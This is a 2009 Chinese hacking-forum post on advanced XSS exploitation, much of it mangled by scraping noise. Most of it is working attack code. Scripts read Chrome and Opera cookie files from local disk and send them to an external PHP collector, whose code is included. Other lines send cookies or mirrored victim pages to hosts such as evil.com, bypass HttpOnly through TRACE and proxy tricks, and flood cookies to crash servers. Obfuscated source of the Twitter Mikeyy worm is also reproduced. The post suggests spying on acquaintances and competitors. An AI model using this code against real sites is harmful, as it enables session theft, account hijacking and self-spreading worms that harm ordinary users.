XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
0 m$ a6 U8 V9 @本帖最后由 racle 于 2009-5-30 09:19 编辑 $ J6 E- l2 T6 K
$ J" E1 T9 q: Q/ z) bXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页! l0 U% G/ I# n9 ?4 ]
By racle@tian6.com
# j. I' u5 r" m/ z) e; M5 [ R- Ehttp://bbs.tian6.com/thread-12711-1-1.html9 k! a5 [6 E" Y; n
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------
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/ h' i& a' N% c# ?: i4 w本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.& G& z8 H2 n+ A: _
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如果你还未具备基础XSS知识,以下几个文章建议拜读:/ k) k8 o, A) L3 T$ u
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介* K w$ }0 [- U3 U% i
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
W7 O2 W3 T) R5 J1 K8 {7 ~$ c. ihttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过, z% ]! ?/ a# z. `
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF# t9 \8 [9 K- n U' L# f
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
0 {. I: l# [8 n4 Chttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 L g* T5 ?, n' d/ r& I% c
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.& c7 t1 w) J, A( [) }7 T
2 t) c# Q( b% `0 n希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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7 x: C0 [' F* u; k- D& s, G5 h如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,0 u. b6 Z+ n/ ~' h
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大0 Y3 Y9 }3 X3 ~, U6 \' E
6 v; Q9 ^0 m& t* t2 P9 b5 [$ qQQ ZONE,校内网XSS 感染过万QQ ZONE.0 e5 H0 [: j; T$ g* w6 V
2 F& H* ^, l+ F, ]! Q2 t5 ROWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪6 u# t6 D0 `7 Y& I; R. Y
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" E9 l) j4 v6 y" m5 y& f复制代码------------------------------------------介绍-------------------------------------------------------------' i, R: ^4 Q. d* r2 F5 ~8 y
* s$ e6 C) k* t: @ r- T1 B+ k7 ]什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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7 K1 q, G' y/ Y) U" v9 r+ n如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
) D+ g" J% o: N6 a. ?复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
! D3 W* L6 _& I# G% E我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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" m- Y% T2 O, x4 P3 XSS的高级利用和高级综合型XSS蠕虫的可行性?; Z* ~7 T5 `# O" v0 |- |' m9 H
; u& G; f# F. x2 A! v4 XSS漏洞在输出和输入两个方面怎么才能避免.- y9 u: y7 U) ?% i Q
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------------------------------------------研究正题----------------------------------------------------------
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: [) |2 E' d8 V# K通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
: K- C. u: B" k' @, o# ]& E复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫- Q3 O$ p" ~9 i! B! c- S
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.# y$ Q% J @- H/ `
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.! e3 W( L: c0 O) U8 | q
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
9 s; C& q/ Z" I* g1 }3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
t& s3 A) u- `6 c* e) M) Q. S4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)2 ^; L- [- N, z0 |
/ W8 \ U$ Z0 e$ g: K0 z3 w* X我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)3 i% M4 M. }" L. U" }/ a! A
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。7 r3 Y) c+ w- x$ H
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' W J7 U. S+ m3 B. e' L 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。. u D+ _ Z& c6 C) h
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
& ?! e. ~' j8 c7 Z4 S; |' g复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}
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function ajax_obj(){, u$ d3 E! ~. ~
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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for(var i=0; i<versions.length; i++) {6 k6 z+ y5 B- a' E
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try {
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request = new ActiveXObject(versions);
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function _7or3(_m,action,argv){6 D+ O2 h8 v8 Y* P/ x! d6 f
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_x.open(_m,action,false);
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_x.send(argv);
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return _x.responseText;+ I) { X0 m3 G9 x3 C' ~3 J5 ~
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alert(txt);% o f% B: I7 W7 g& q4 o
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</script>
! f1 Q' B$ x# f0 w: ]+ l9 y复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>* j) ?/ y0 @1 m( f
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function $(x){return document.getElementById(x)}: E- i6 K" {2 K& p0 q9 p' A5 k
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} else if(window.ActiveXObject) {
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( Q- P- V; o; r 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];" s% Z. i) K. z# z
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for(var i=0; i<versions.length; i++) {
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try {0 c" w+ K# P3 q+ i2 G
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request = new ActiveXObject(versions);* F7 C9 `2 f" b, t& G
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} catch(e) {}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);' M8 c0 p0 \, j9 o0 \1 F
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;* w) [5 l0 I( o
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}
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alert(txt); x% D2 C. \ T& _# x% O
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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3 a: n& L* v! HChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"; D9 r' |7 {; ?/ a6 H+ |' c
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Chrome 1.0.154.53 use ajax read local txt file and upload exp - E" C( l* s* }- k6 N
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author voidloafer@gmail.com 2009-4-22 . ?! f+ V: H" q+ [
$ e6 i( n3 Z. v2 k% L http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. : n. o# D2 f: n3 {& _: P' c2 h
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; ^% e5 `. s- g& cheader("Content-Disposition: attachment;filename=kxlzx.htm"); 8 R- G, K6 v c
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header("Content-type: application/kxlzx");
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$ x: ]% I. {; n' W/*
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9 q7 X& V: \) u/ a: ]; Q set header, so just download html file,and open it at local.
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6 c) ?4 `4 A2 o' J% k/ A<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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</form>
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<script>
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{
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var time = Math.random();
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 6 ~- k$ y @: w( D! A
) x0 _" ^5 B ~: Y' V4 i4 G) T5 Gand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History * M- j) t; N0 T% j& ]! x
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and so on... : i# r- S. H' i$ v( C5 v7 `( i
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; M& m+ x$ c$ _6 j( F/ Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; . u9 ]0 e' k& ~9 q9 X
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startRequest(strPer); 9 }: ^4 P; R/ R! ?! }; u+ z9 h
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0 @+ l# X6 S# Gfunction Enshellcode(txt)
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9 Y9 H6 w& g2 l; ~( cvar url=new String(txt); # y' ^- d. z. [, ~
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var i=0,l=0,k=0,curl="";
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+ y# ^& {/ o( S/ ~: R) Al= url.length; 9 f% ]7 U- N$ r3 |) G3 b
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for(;i<l;i++){ % u4 y: T0 a4 ?& P
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k=url.charCodeAt(i); ' f" g9 K$ {4 P8 I2 o/ u& `* N
- T: B G" h! X3 e. E( oif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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$ x2 l5 j0 j& a4 D! S" u3 Y5 Mif (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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5 v6 G7 Q/ K) O/ n2 t$ Xvar xmlHttp; . q- U) }/ q, ?( y- \+ }5 s
u6 o, p7 [( P _9 g% lfunction createXMLHttp(){ 6 b. I6 ~2 E6 L, L2 _1 P9 W! G0 ]
}. P$ g/ }( K0 v
if(window.XMLHttpRequest){
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/ O& m0 {$ z- {+ l* [0 D6 @xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
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4 |' L$ \6 b% c& h3 W! D" I! ixmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); & I7 K0 V6 \3 p
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5 q" @$ V7 n, _$ F}
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function startRequest(doUrl){
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* L% m8 R) Q2 ?; \ createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); + h( D9 d1 W* g, |. s( c+ k3 o
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xmlHttp.send(null); ! V5 w7 r; i' y" A' d6 L
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% {% g! [7 {0 h# i! w; D* D, M
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){ 6 f' S. }" e8 T; ]6 K
9 ]- R' U1 |4 Y+ @. ~2 c* d+ G7 J var strResponse = ""; 4 N1 l; o4 i8 B( d9 H8 \' ~- {
5 H, J) k( j$ o# C6 ~, L$ ? setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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function framekxlzxPost(text)
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{
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: o; n& L: U/ y6 r, M& R/ U/ C' ^ document.getElementById("input").value = Enshellcode(text); . r: f5 Y0 v0 z0 _4 ^5 A
* x. t7 Z: M7 N# W7 l0 T( C document.getElementById("form").submit(); & C/ a$ d0 m3 H5 _$ Z/ g, v! Q
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6 b" ?5 [8 ?& I) G( ndoMyAjax("administrator");
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</script># M7 E! L' |; ~% B
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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" A) k% A: T6 @' {* R8 g: Hvar xmlHttp;
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7 j! z) M, F3 o+ C3 cfunction createXMLHttp(){
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if(window.XMLHttpRequest){ * {2 ?6 L3 N2 d3 q
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xmlHttp = new XMLHttpRequest();
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4 U0 C4 ?/ ^1 @. j& ?& m% e else if(window.ActiveXObject){ * M r& W; x/ E* n4 p0 L* B: M
3 J" e" C+ Q0 A( X8 q& ]* o xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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function startRequest(doUrl){
+ v2 S+ m8 R, b& Z9 ?. `; U; U2 E% M" ~6 C2 a+ {$ I" {
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createXMLHttp();
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0 ^3 ^/ W. Y2 b6 q- _; ?
3 k6 |8 Y! O8 X8 r: X R xmlHttp.onreadystatechange = handleStateChange;
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" i/ }. O! _) u xmlHttp.open("GET", doUrl, true); " ? B5 b8 q4 B: C) G' v5 T
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xmlHttp.send(null); ' C V9 ]% t( l1 |2 q! V* m
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} 6 l9 ^' Y( j$ @* E0 k% P3 S
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# @' `1 T2 f% o( vfunction handleStateChange(){ 9 Q1 J& O: X0 c t3 r. t
: n" J; I) ?6 M( ~0 o/ s2 N if (xmlHttp.readyState == 4 ){
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, ~8 {) g% O5 Z7 p" o7 E; @: K" u7 o! }2 r var strResponse = ""; , X2 W# ?$ a: f0 ^
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); , c: s ?% V- e
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}
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} ; w; X- Q! ]' i9 W
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% S( l7 i6 O( t3 ^1 L$ B+ Wfunction doMyAjax(user,file) & N) Y) I* H: r s
% g; @# T3 q# S |9 d* M) ~
{
+ W1 ]% U) \0 S! D6 M
3 u. m% N: \* _ var time = Math.random(); ) Z2 w9 ^( F7 F% k
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& l) x4 x s# `; _ var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; ( b L$ S( L. m3 J. B2 i0 F
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4 D' o, I" B8 j' c `9 r1 R startRequest(strPer);
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/ d* \' D' A( j' F q+ g9 ?function framekxlzxPost(text)
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/); 8 F7 e+ t- o( P7 |. f* n+ A J9 S Y
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} 9 i0 e) U- T! d' t7 U
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doMyAjax('administrator','administrator@alibaba[1].txt'); ' x6 K" C9 Y3 [# y) N/ N7 Z0 h
* i3 y8 \4 H5 o& Q4 T: @6 S # X1 f2 P8 ~! {$ p" F1 j
+ N" M. i1 H) h# K' J6 @/ p</script># I8 Z1 C& m! |$ \. ^5 [
3 x! P1 |+ \; F& ]7 \; N: w4 T$ j9 ]: q/ b3 R) N8 p5 I
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a.php
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# [* M1 @ Q5 t4 d
<?php
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4 f$ l# L" n5 P$ }7 \$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 9 j, E, W3 Y. p. ^9 U8 r( H
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; % x6 D) G4 I, H4 i' k* H# o
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W" @" m) R0 O! t6 G# e& f
/ N3 Q; u& F) N$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); `* Q5 M ?9 L# U# l
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fwrite($fp,$_GET["cookie"]);
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fclose($fp); l( y9 a) y4 ]& a
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.5 E0 P& v, @) U6 t
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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% [* U( w! V3 J0 I9 t1 ?# B代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);6 Q# c7 \0 E- W; k, j4 W/ A+ k
% R# ]" ~9 o/ q4 f//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);/ J; w) [1 K* k; G* M$ ?
2 w# v. U# e( Y p+ X# w: \" J//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);2 u2 J/ R! m* r0 f$ M/ c
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function getURL(s) {
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var image = new Image();
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image.style.width = 0;9 ?: b# C$ G% o- |8 z
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image.style.height = 0;9 {4 `. u# d! w! ?* z M& c2 \
8 r" E5 L. q/ @9 gimage.src = s;
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}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 i4 F3 r! M% b复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.( R6 ?/ _5 K7 Q* G
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A# S; ?' q2 _0 o+ y l1 s* ^# J: {
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var str = "";
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while (str.length < 4000){
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str += metastr;6 M# f9 n/ z4 {2 o5 m8 ~* |
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: d* C- M8 |! _: y9 {document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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3 T+ m2 }) ?8 X% w$ N/ e详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ R2 W. ^ T1 |复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
# u; E' r2 C& C) }1 Yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150) u( D$ m/ ~% @* X$ G9 Y
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
& |3 f& B% s9 e5 T: l+ w攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.! q6 s8 {7 z% t' _
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D. @4 i* k; M5 P
(III) Http only bypass 与 补救对策:
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4 v, n' G- ?+ ?: ^' Y什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.% t: r7 E0 ~7 P
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">& @* R: A) C8 }0 m. W2 ?, g
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<!--% S$ o4 a" @5 _ Q& f9 X
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function normalCookie() { : O8 a2 ~3 s% D6 v3 p( j! q
4 R2 y1 I$ H' Xdocument.cookie = "TheCookieName=CookieValue_httpOnly"; & |& C& h4 q( }5 [
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alert(document.cookie);% j, n4 D6 e2 ]$ B7 u0 D
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}
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* K9 h9 I' T9 @5 t( [; Ifunction httpOnlyCookie() { ' ?6 v8 J. v& T' g' M7 d
A; S/ T; ^, C. Rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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- v, C3 J7 w* f! e* r, Galert(document.cookie);}. G4 c8 o6 B7 `# ~2 ]
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4 r5 g# L. [% @8 C1 c3 T//-->4 c, i2 J! A7 b- [6 N0 Y
, ]3 I5 v, d4 m4 z</script>
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& u1 Z) j; ^9 l+ R9 u<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>' B7 |: m7 x. E+ x0 K
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>: U6 |0 x) s4 v; t% s
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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( b, b! v# o6 F3 H9 cvar request = false;
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if(window.XMLHttpRequest) { S4 R) a6 U( A, \% C H8 X9 ?$ M
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request = new XMLHttpRequest();, b4 E5 N; J1 l' M! h
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if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');4 T9 _, A# o+ {1 |
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} else if(window.ActiveXObject) { J7 N, R# V! u- Z! O9 z
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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, s l$ j) O+ H) G( s* ]# k; H! y try {
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" v" r) E! a# F& | request = new ActiveXObject(versions);/ o; Q* O! M7 |" o& D9 ]- M* V( B
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} catch(e) {}; y+ j& ]7 T6 P. M( Z
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}
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xmlHttp=request;1 p1 N( X8 O/ S! l
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xmlHttp.open("TRACE","http://www.vul.com",false);6 Y4 C- J% p8 V$ {- O7 z
( n g' i* B. v# z. k5 j5 IxmlHttp.send(null);% S3 S5 w! Q: k/ s9 M0 k+ K
* s8 B0 N% h' g. _% yxmlDoc=xmlHttp.responseText;) @$ H4 N* K3 y7 x% n. Y" f+ ?1 m/ l
9 \3 |3 D' y' V1 h& G; qalert(xmlDoc);
5 \' P& ~7 c) c& y- c) J2 n
& M% b: s$ A6 y4 W8 M</script>( R4 _. Y6 y# W# j% v" p
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>2 i( N( A5 M* D
) g7 A" i' J3 E' V) u7 k! uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);! V0 u% W! |, H: a2 I; `
: R; Z. e; G' ]' v. c0 n7 l- VXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
$ R# N6 c4 Y9 z( b; N- h. x! {
( O0 Q& A. X5 i) p8 j0 ?var resource=xmlHttp.responseText
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resource.search(/cookies/);( _1 o6 U8 v; o# c& X( l& Q
2 v+ T) V2 v7 e5 u8 K( A) y" L......................* i% _9 s0 @$ S% P) X6 w
$ _$ q3 h6 \* y2 B1 l</script>" N- i3 K" K- y" m( @; B; G9 e% y
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# |9 p( w" q5 u; f/ D* ~* g. r- r5 V* [( q& D" m! u* f2 t
: A% x! u- o$ P如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求! c: a+ w2 `( j( R" h
, p; x: a5 W4 D+ C
[code]$ `( ~% g0 K4 ~8 M- c: O
# A* o: x+ r( {% }RewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]
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' k+ {' w/ \" `2 z
- F) v$ V7 C5 m7 K. h7 R$ Z1 p, t7 N @2 L, r
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE! I1 b% U7 ^' @: Z& n; |1 a/ _. B
( J3 |9 v5 \/ b: Z3 y) o, {...% r1 b3 n9 L: ^4 @: J: F" j
# a* U( G& U# V- }% h2 n1 h1 d: }
http_access deny TRACE
! p+ X" C+ g# u+ A复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>/ }$ e5 n0 t8 q! P3 A2 O
8 v9 R# L& e# k; Rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");6 a# T, w- G" f* g* U2 k$ [
8 P3 @, i4 b U' Y+ }) XXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");# E' o8 D$ S) m, d# o* e1 D
G! W7 b6 z1 p- d8 d+ H! HXmlHttp.send(null);
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</script>
! L% M: X/ k$ ?) |复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");3 g6 ~) j) l. S7 a8 d4 ^
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; f; E6 {7 z: S% ?8 q) [
& p0 X; J5 n0 |: d f/ AXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);& _$ r5 h9 i+ ]
; P; D- ?. H7 u8 |3 bXmlHttp.send(null);
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6 l0 Q0 N4 Y5 g2 [; T<script>
' y* C' }- E* i9 X4 d复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 s& u$ J2 p8 l$ G, `& B复制代码案例:Twitter 蠕蟲五度發威$ d& D' ~! `/ s5 X' T
第一版:; E8 v! g" w" N. n% b
下载 (5.1 KB)/ I' ~/ e8 `& }7 _+ p& A+ r
, u+ [& _7 P7 p. x$ q- I6 天前 08:27" x( U- |8 x' A( x
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 0 }9 ]0 F- `" Z: R
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2.
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9 N: V4 ~3 f6 k5 N! H 3. function XHConn(){
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. I% m# Y7 T2 ?. {. D# N 4. var _0x6687x2,_0x6687x3=false;
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/ ?' f0 r) X# p5 k" {- O 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 4 u. z {* J$ H5 l) m$ g
/ {5 d4 l1 }( L 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ' q7 R/ k! V3 a) D0 t) G
/ ^$ }) @! y/ m5 Q+ M" ? 8. catch(e) { _0x6687x2=false; }; }; }; : Y: O; }# c* J6 |
复制代码第六版: 1. function wait() {
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1 B4 F r. V% [2 J 2. var content = document.documentElement.innerHTML; ; s" X' _! }" q- `/ b3 ^& ^
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3. var tmp_cookie=document.cookie; * s8 N5 X' |8 ?' z0 I" H
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4. var tmp_posted=tmp_cookie.match(/posted/); ; S* g2 p- [" f2 O
% D+ U1 d" j4 H" Q5 K3 H+ V$ B: x7 y 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); $ \& \& q' p0 M. e- ~5 K7 W u
Z p4 y, j. o0 I3 C( M
6. var authtoken=authreg.exec(content); 6 ?2 ]* x4 B" v I( U6 ? v! b
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7. var authtoken=authtoken[1]; ' C# k W/ Z5 J
6 }( N; G# Y6 A- H4 Y, D7 S: a o 8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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$ P8 n& d: p. C( C( T% k' s 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 9 I; [- f5 U- }5 }. {
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; / }7 C, k4 }; Q) i' h
. g5 c7 T5 ^: m% U: K- v 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; ; | W- X6 l! n" L' w9 Q& B
y$ ]9 N2 F& Y. u 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 8 T6 o2 w$ I( @# `# [2 g
4 M K" J2 \( q8 z( w 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; % ]: P) X1 @, j- P
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 9 b! d! L" P$ f! Y% o7 Q4 m" \ z
